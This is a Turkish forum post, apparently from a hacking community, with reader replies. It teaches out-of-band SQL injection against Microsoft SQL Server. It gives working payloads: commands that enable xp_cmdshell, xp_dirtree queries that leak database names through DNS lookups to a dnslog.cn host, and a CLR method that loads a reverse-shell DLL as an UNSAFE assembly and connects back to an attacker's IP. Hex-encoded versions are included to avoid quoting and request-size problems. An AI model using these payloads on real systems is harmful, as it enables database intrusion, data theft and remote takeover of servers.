Mssql Out of Band Injection

Mssql injection’da karşımıza çıkan time based ve blind türlerinde sql server’da sistem procedure’lerini kullanıp rahatça komut çalıştırma veya istediğimiz sorgunun çıktısını rahatça almamızı sağlayacak bir kaç tekniği anlatacağım.

1-) xp_cmdshell : sql server tarafında rahatça komut çalıştırmamıza yarar.
2-) xp_dirtree : verdiğimiz pathin altındaki dosyları listelemeye yarar.
3-) CLR(Common Language Runtime) C# kodu ile geliştireceğimiz bir fonksiyonun sql server tarafından kullanılabilmesi için ve daha farklı şeyler için kullanabileceğimiz bir özelliktir.

Başlayalım;

timebased

waitfor delay ‘0:0:10’ verdim ve resimde gördüğünüz gibi çıktı aldım. Şimdi xp_cmdshelli aktif edip denemeler yapalım

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;

xp_cmdshell

dnslog.cn’e bir ping -n 1 atalım ve sonucu görelim
dnslog

declare VARCHAR(8000);set @test=0x70696E67202D6E2031206333727A32392E646E736C6F672E636E;exec master…xp_cmdshell @test

dnslogs

Gördüğünüz gibi çıktı geldi. Burdan direk reverse shell alabiliriz fakat anlatmak istediğim bu değil.

xp_cmdshell veya xp_dirtree ile sql sorgumuzun çıktısını almaya çalışalım.

declare @test varchar(1024);set @test=(select db_name());exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)

select

xp_cmdshell veya xp_dirtree ile time based ve blind sql olan yerlerde bu şekilde rahatça verileri alabilirsiniz ama şunu unutmayın dns isteğininde karakter sınırı var onun içinde substring ile teker teker çekmeniz gerekir
oda şu şekildedir

declare @test varchar(1024);set @test=(select substring(db_name(),1,1));exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)
substring

dnssub

database adının ilk harfini almış olduk.

Şimdi gelelim clr ile reverse almaya.

C#'da yeni bir class dll projesi açıp basit bir reverse shell kodunu derleyelim (githubda tonla var)

Derledik çıktı dosyamız ClassLibrary.dll şimdi sql server tarafında antivirüs direk ötecektir bu durumda
dllimizin güvenliği olduğunu belirtmek için şunu yaparız.

Powershell’de Get-FileHash -Algorithm SHA512 .\ClassLibrary1.dll | Format-List

dll

Hash çıktımızı aldık.

E18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D

sql server tarafında assemblyin güvenli olduğunu belirtelim

;sp_add_trusted_assembly 0xE18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D;

Sıra clr yi aktif edip dllimiz hexe çevirip çalıştırmak

EXEC sp_configure ‘clr enabled’, 1;
RECONFIGURE;
clri aktif ettik
enableclr

linux tarafında dllimizi hexe döndürelim
dllbe

şimdide sql serverda assembly oluşturalım

use msdb; CREATE ASSEMBLY Bomba FROM 0x hex çıktımız WITH PERMISSION_SET = UNSAFE

use msdb; dbo.sp_executesql @statement = N’CREATE FUNCTION Bcle(@ip nvarchar(max), @port int) RETURNS INT AS EXTERNAL NAME Bomba.[Bcver.Class1].Gonder’;

Ardından reverse shell alalım

SELECT [dbo].[Bcle] (‘ip adresimiz’, 8080);
reversebc

Not: Fonksiyon oluşturma çalıştırma vs gibi sorguları declare içinde hex olarak verirseniz tırnakla vs uğraşmazsınız ve clr methodunda hex fazla olacağı için bad request’e düşebilir bu yüzden post sql injection olan yerlerde yapmanızı tavsiye ediyorum. Geri kalan bütün methodlar get vs üzerinde rahatça çalışır.

Örnek:

use msdb;declare @s varchar(4000);set @s=CAST(0x64626F2E73705F6578656375746573716C204073746174656D656E74203D204E274352454154452046554E4354494F4E2042636C6528406970206E76617263686172286D6178292C2040706F727420696E74292052455455524E5320494E542041532045585445524E414C204E414D4520426F6D62612E5B42637665722E436C617373315D2E476F6E646572273B AS varchar(4000));exec(@s)

declare @a varchar(4000);set @a=cast(0x53454C454354205B64626F5D2E5B42636C655D2028276970206164726573696D697A272C2038303830293B as varchar(4000));exec(@a)

7 Beğeni

Eline sağlık abi 10 numara makale olmuş , hem sitenin panelinden shell atmak dururken Out Of Band Injection yapmayanda ne bilim :joy:

1 Beğeni

Panel dizin vs bulamadığın zaman işe yarar :slight_smile:

1 Beğeni

Otomatize hali de olsa daha guzel olur, eline saglik.

teşekkürler abi yaparım birtane